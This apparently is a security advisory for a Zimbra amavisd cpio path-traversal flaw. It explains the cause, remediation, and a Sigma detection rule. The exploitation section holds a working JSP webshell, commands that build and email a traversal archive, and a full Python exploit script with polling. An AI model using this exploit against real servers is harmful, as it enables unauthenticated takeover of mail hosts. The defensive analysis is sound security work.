Overview
CVE-2026-60188 is an unauthenticated remote code execution vulnerability in Zimbra Collaboration (formerly Zimbra Collaboration Suite). The flaw is a path traversal in the way Zimbra's antivirus pipeline extracts email attachments: a malicious archive attached to an email causes a file to be written outside the extraction directory, and by targeting the web application directory, an attacker plants a webshell that executes as the mail server's service account.
CVSS 3.1: 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. The trigger is receiving an email; no recipient interaction is required, because the malware scanner processes the attachment automatically on delivery. Zimbra is a long-standing target of state-aligned intrusion groups, and mass exploitation of Zimbra RCEs has been a recurring feature of the past several years.
Anyone who has followed Zimbra will recognise the shape of this bug. CVE-2022-41352 was the same class — amavisd falling back to cpio and honouring absolute/traversal paths in a .tar to drop a JSP shell. The recommended fix then was to install pax so the fallback never happened. This CVE is a fresh variant of the same underlying design weakness reappearing in the archive-handling path.
Background — Why a Mail Server Unpacks Archives
Zimbra pipes inbound mail through amavisd, which orchestrates antivirus (ClamAV) and anti-spam scanning. To scan the contents of an attached archive — a .tar, .cpio, .rpm — amavisd must extract it to a temporary directory so ClamAV can inspect each file. Extraction is delegated to whatever archive tools are present on the host.
amavisd prefers pax for portable archive extraction because pax is safe by default: it strips leading slashes and refuses to write outside the target directory. But pax is not installed on many minimal server builds. When it is absent, amavisd falls back to cpio — and historic versions of cpio will write files to the exact path recorded in the archive, traversal sequences and all. The safety of the whole feature depends on which extractor happens to be installed, which is precisely the kind of implicit dependency that fails silently.
Root Cause — cpio Honours Traversal Paths
A cpio archive stores a path for each member entry. Given an entry whose stored name is ../../../../opt/zimbra/jetty/webapps/zimbra/public/shell.jsp, a permissive cpio extraction will resolve that relative path from the temporary extraction directory and write the file into the Zimbra webroot. Two conditions make this exploitable, and both hold on a default install missing pax:
- The traversal is never sanitised. amavisd hands the archive to
cpioand trusts the extractor to keep files inside the sandbox.cpio's classic mode does no such thing — it treats the archive's stored paths as authoritative. - The destination is a live, world-reachable web application. The Zimbra webroot under Jetty serves JSP, so any
.jspfile written there is compiled and executed on the next HTTP request. The traversal target turns file-write into code execution.
The whole thing runs as the zimbra service account, because that is the identity amavisd and Jetty run under.
Exploitation
The attacker builds a cpio (or tar) archive whose single entry is a JSP webshell with a traversal path, attaches it to an email, and sends it to any address the target server accepts mail for. On delivery, amavisd extracts the attachment, the webshell lands in the webroot, and the attacker requests it.
# 1. Write the webshell that will land in the webroot
cat > shell.jsp <<'EOF'
<%@ page import="java.util.*,java.io.*"%>
<% if (request.getParameter("c") != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",request.getParameter("c")});
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
String l; while ((l = r.readLine()) != null) out.println(l);
} %>
EOF
# 2. Pack it with a traversal path so extraction escapes the temp dir
TARGET='../../../../../../opt/zimbra/jetty/webapps/zimbra/public/shell.jsp'
mkdir -p "$(dirname pack/$TARGET)" && cp shell.jsp "pack/$TARGET"
( cd pack && printf '%s' "$TARGET" | cpio -o -H newc > ../evil.cpio )
# 3. Email the archive as an attachment to any valid recipient
swaks --to [email protected] --from [email protected] \
--server target.tld --attach @evil.cpio \
--header "Subject: invoice" --body "see attached"
After the mail is processed, the shell is one request away. It runs as zimbra:
curl -s "https://target.tld/public/shell.jsp?c=id"
# uid=1001(zimbra) gid=1001(zimbra) groups=1001(zimbra)
A convenience script to build and send the payload, then poll for the shell:
#!/usr/bin/env python3
"""
CVE-2026-60188 — Zimbra amavisd cpio path-traversal to JSP webshell RCE.
Builds a traversal cpio archive containing a JSP shell and mails it to the
target, then polls the webroot for execution. Authorised testing only.
"""
import subprocess, sys, time, requests
WEBROOT = "opt/zimbra/jetty/webapps/zimbra/public"
DEPTH = "../" * 8 # enough ../ to climb out of the amavis temp dir
def build_archive(shell_path: str, out: str):
entry = f"{DEPTH}{WEBROOT}/{shell_path}"
# cpio reads the file list on stdin and preserves the (traversal) name
subprocess.run(f'echo "{entry}" | cpio -o -H newc > {out}',
shell=True, check=True)
def send_mail(target_host, rcpt, archive):
subprocess.run(["swaks", "--to", rcpt, "--server", target_host,
"--attach", f"@{archive}", "--body", "hi"], check=True)
if __name__ == "__main__":
host, rcpt = sys.argv[1], sys.argv[2]
build_archive("s.jsp", "evil.cpio")
send_mail(host, rcpt, "evil.cpio")
url = f"https://{host}/public/s.jsp?c=id"
for _ in range(30): # amavis processes on delivery
try:
r = requests.get(url, verify=False, timeout=5)
if "uid=" in r.text:
print("[+] shell live:\n" + r.text); break
except requests.RequestException:
pass
time.sleep(4)
else:
print("[-] no shell yet — target may have pax installed or be patched")
Affected Versions
- Zimbra Collaboration 9.x and 10.x prior to the August 2026 patch — vulnerable on hosts where
paxis not installed (the default on several supported OS images), because amavisd falls back to the permissivecpioextraction. - Patched builds — fixed. Zimbra removed the unsafe
cpiofallback and sanitises extraction paths regardless of the extractor present. - Hosts with
paxinstalled were incidentally protected because the vulnerable fallback never executed — but relying on an optional package for security is not a control, it is luck.
Remediation
- Apply the Zimbra patch immediately. This is pre-auth, unauthenticated-by-email RCE on an internet-facing mail server — the highest-priority class of exposure.
- Install
pax(apt install pax/yum install pax) as an immediate stop-gap on any host that cannot be patched instantly. Withpaxpresent, amavisd stops falling back to the unsafecpiopath. This is the same emergency mitigation that CVE-2022-41352 required, and its continued relevance is itself the lesson. - Restrict what the
zimbraaccount can write. The webroot should not be writable by the mail-scanning pipeline; separating the antivirus sandbox from any web-served directory (distinct users, restrictive filesystem permissions, or a chrooted/containerised scanner) breaks the file-write-to-webshell bridge even if traversal occurs. - Assume-breach review: hunt for unexpected
.jspfiles under the Zimbrawebappstree, unfamiliar child processes of the Jetty/amavisd processes, and outbound connections from the mail host. Zimbra shells are frequently followed by memcached/credential harvesting, so rotate secrets and inspect for persistence.
Detection
title: CVE-2026-60188 Zimbra amavisd cpio Path-Traversal Webshell Drop
id: 4e1d7a92-8f30-4b6c-9a1e-2c5d0f83b71e
status: stable
description: Detects creation of JSP files under the Zimbra webroot by the mail-scanning pipeline, indicating cpio traversal exploitation
logsource:
product: linux
category: file_event
detection:
selection_write:
TargetFilename|contains: '/jetty/webapps/zimbra/'
TargetFilename|endswith: '.jsp'
selection_actor:
Image|endswith:
- '/cpio'
- '/amavisd'
- '/perl'
condition: selection_write and selection_actor
falsepositives:
- Legitimate Zimbra upgrades write JSPs to the webroot, but via the installer/package manager, not via cpio or amavisd — filter on the writing process
level: high
tags:
- cve.2026-60188
- attack.initial_access
- attack.t1190
- attack.persistence
- attack.t1505.003
Key Takeaways
- Archive extraction is a security boundary, and most extractors do not defend it. Any code that unpacks an untrusted archive must validate every member path against the destination directory after normalisation, and reject absolute paths,
..components, and symlinks that escape the sandbox. "Zip Slip" / "Tar Slip" traversal has been documented for years; the fact that the safe behaviour depends on which ofpaxvscpiois installed means the application never owned the boundary in the first place. Own it explicitly in code — do not delegate a security decision to whatever CLI tool the OS happens to ship. - The same bug came back because the design, not just the code, was flawed. CVE-2022-41352 was "fixed" by telling operators to install
pax, which patched the symptom while leaving the unsafe fallback in the codebase. A configuration-dependent mitigation is not a fix; the vulnerable path must be removed. When a bug class reappears in the same component years later, the lesson is to eliminate the dangerous capability, not to document a workaround. - Mail servers process attacker input by design and must run their parsers in a cage. A mail gateway will parse, decompress, and scan anything the internet sends it, entirely unauthenticated — it is the largest untrusted-input funnel most organisations operate. The content-processing components (archive extractors, document parsers, AV engines) should run as an unprivileged, filesystem-isolated identity with no write access to anything that is later executed or served. Segment the mail host, keep it patched on an emergency cadence, and monitor its service accounts as high-value targets, because to every mass-exploitation crew of the last decade, that is exactly what they have been.